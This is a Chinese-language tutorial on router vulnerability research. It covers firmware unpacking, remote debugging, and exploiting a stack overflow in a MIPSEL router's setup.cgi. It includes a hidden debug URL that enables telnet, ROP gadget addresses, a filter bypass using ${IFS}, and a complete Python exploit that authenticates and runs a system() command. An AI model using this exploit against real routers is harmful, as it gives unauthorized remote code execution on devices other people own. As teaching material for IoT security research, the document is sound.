从零开始的路由器漏洞挖掘之旅
字数 1334 2025-08-22 12:23:42
从零开始的路由器漏洞挖掘实战教程
前言
本教程将详细介绍如何从零开始挖掘某厂商路由器的漏洞,涵盖固件分析、动态调试和漏洞利用的全过程。教程针对MIPSEL架构的路由器,通过实际操作演示漏洞挖掘的完整流程,特别适合新手入门学习。
环境准备
1. 固件分析工具安装
Binwalk安装
Binwalk是一个强大的固件分析工具,用于提取和分析嵌入式固件镜像:
git clone https://github.com/ReFirmLabs/binwalk
cd binwalk
sudo python3 setup.py install
sudo ./deps.sh # Ubuntu系统专用依赖安装脚本
2. 交叉编译环境配置
为了调试MIPSEL架构的二进制文件,需要配置交叉编译环境:
sudo apt-get install linux-libc-dev-mipsel-cross
sudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-cross
sudo apt-get install binutils-mipsel-linux-gnu gcc-mipsel-linux-gnu
sudo apt-get install g++-mipsel-linux-gnu
3. 调试工具准备
gdbserver编译
下载并编译适用于MIPSEL架构的gdbserver:
wget https://ftp.gnu.org/gnu/gdb/gdb-10.1.tar.xz
tar xvf gdb-10.1.tar.xz
cd gdb-10.1
CC="mips-linux-gnu-gcc -EL" CXX="mips-linux-gnu-g++" ./configure --target=mips-linux-gnu --host="mips-linux-gnu" --prefix="/root/tgdb" LDFLAGS="-static"
make -j7
如果编译失败,可以直接下载预编译版本:
https://github.com/stayliv3/gdb-static-cross/tree/master/prebuilt
调试客户端配置
在调试主机上安装必要的工具:
sudo apt install gdb-multiarch
# 安装gef插件
bash -c "$(wget http://gef.blah.cat/sh -O -)"
固件分析
1. 固件解包
从厂商官网下载固件后,使用binwalk进行解包:
binwalk -Me <firmware_file>
2. 漏洞定位
分析目标二进制文件(本例为setup.cgi):
file setup.cgi
# 输出: ELF 32-bit LSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
通过逆向分析发现:
- 主函数位于
setup_main - 函数
sub_555BA950从nvram获取环境变量fw_out_rules的值 - 未进行长度检查,在
sscanf格式化写入时导致栈溢出
3. 漏洞触发路径分析
通过交叉引用发现:
fw_out_rules在sub_55567D8C被设置- 两个函数都通过
ActionTab方式按名调用 - 对应调用名称为
rule_list_simple_out和outmove
在固件解包目录下搜索相关字符串:
grep -r "rule_list_simple_out"
grep -r "outmove"
动态调试
1. 开启路由器调试功能
通过逆向发现可以通过以下方式开启telnet:
http://192.168.1.1/setup.cgi?todo=debug
telnet 192.168.1.1
2. 上传gdbserver
在路由器上启动HTTP服务:
python -m http.server 9999
在路由器上下载gdbserver:
wget http://192.168.1.2:9999/gdbserver -O /tmp/gdbserver
chmod +x /tmp/gdbserver
3. 附加进程调试
由于setup.cgi不是持久进程,使用以下脚本循环附加:
int=1
while [ $int -le 1000 ]; do
/tmp/gdbserver 0.0.0.0:12345 --attach `ps -A | grep setup.cgi | awk '{print $1}' | head -n 1`
done
4. 调试端配置
创建gdb.cmd文件:
set arch mips
set endian little
gef-remote 192.168.1.1:12345
b *0x555BAC2C
启动调试:
gdb-multiarch setup.cgi -x ./gdb.cmd
注意:IDA反汇编的基址可能与实际不同,需要根据实际基址进行rebase。
漏洞利用
1. 漏洞原理
MIPS架构下:
- 函数调用时将返回地址放在
$ra寄存器 - 函数起始处压栈,结束时弹出
- 通过
ja指令跳到返回地址 - 需要溢出到
var_s24来劫持控制流
2. 寻找gadget
使用ropper查找合适的gadget:
file setup.cgi
search addiu $a0
找到的关键gadget:
0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20;
0x55567650: la $t9, system; nop; jalr $t9; nop;
3. 构造payload
利用cyclic工具确定偏移量:
cyclic -l <pattern>
4. 绕过过滤
目标路由器在FindForbidValue函数中检查了敏感字符/关键字,需要避免使用这些字符。
5. 最终exp
import requests, re
import base64
url = "http://192.168.1.1/"
user = "aaaa"
pwd = "xxxx!"
command = '/bin/ping xxx.dnslog.cn -c 4'
command = command.replace(" ", "${IFS}")
auth = "Basic " + base64.b64encode((user + ":" + pwd).encode()).decode("utf-8")
def login():
get_sessionid = requests.get(url)
sessionid = get_sessionid.headers["Set-Cookie"]
headers = {"Authorization": auth, "Cookie": sessionid}
r = requests.get(url, headers=headers)
if r.status_code == 200:
print("[+] Login success!")
return sessionid
else:
print("[-] Login failed!")
exit(0)
def get_sid(sessionid):
headers = {"Authorization": auth, "Cookie": sessionid}
get_sid = requests.get(url + "fw_rules.htm", headers=headers)
sid = re.findall(r'\?id=[a-f0-9]+', get_sid.content.decode("utf-8"))
return sid[0]
def attack(sessionid):
attackurl = url + "setup.cgi" + get_sid(sessionid)
payload = "a" * 376
payload += "%e4%2c%59%55" # ra = 0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20;
payload += "b" * 0x1c
payload += "%50%76%56%55" # ra = 0x55567650: la $t9, system; nop; jalr $t9; nop;
payload += "c" * 8
payload += "%0a{}%0a".format(command)
pad = 500 - (len(payload) - 4)
if (pad >= 0):
payload += "c" * pad # pad len to 500
print("[+] Attack start")
print(attackurl, payload)
data = "save=Apply&service_list=" + payload + "&fwout_action=0&fwout_laniptype=anyip&fwout_waniptype=anyip&fwout_logging=1&h_fwout_action=0&h_fwout_laniptype=anyip&h_fwout_waniptype=anyip&h_fwout_logging=1&h_service_list=AIM&c4_lan_start_ip=192.168.1.NaN&c4_lan_finish_ip=192.168.1.NaN&c4_wan_start_ip=&c4_wan_finish_ip=&h_ruleSelect=0&edit=0&todo=save&this_file=rule_out.htm&next_file=BKS_service_add.htm&SID="
headers = {"Cookie": sessionid, "Authorization": auth}
r = requests.post(url=attackurl, data=data, headers=headers)
if r.status_code:
print("[+] Attack success!, the result is:")
print(r.content)
else:
print("[-] Attack failed!")
exit(0)
sessionid = login()
attack(sessionid)
参考资源
总结
本教程详细介绍了路由器漏洞挖掘的全过程,从环境配置到漏洞利用。关键点包括:
- 固件提取与分析
- 逆向工程与漏洞定位
- 动态调试环境搭建
- MIPS架构下的漏洞利用技巧
- 实际漏洞利用代码编写
通过本教程,读者可以掌握路由器漏洞挖掘的基本方法和流程,为进一步的IoT安全研究打下基础。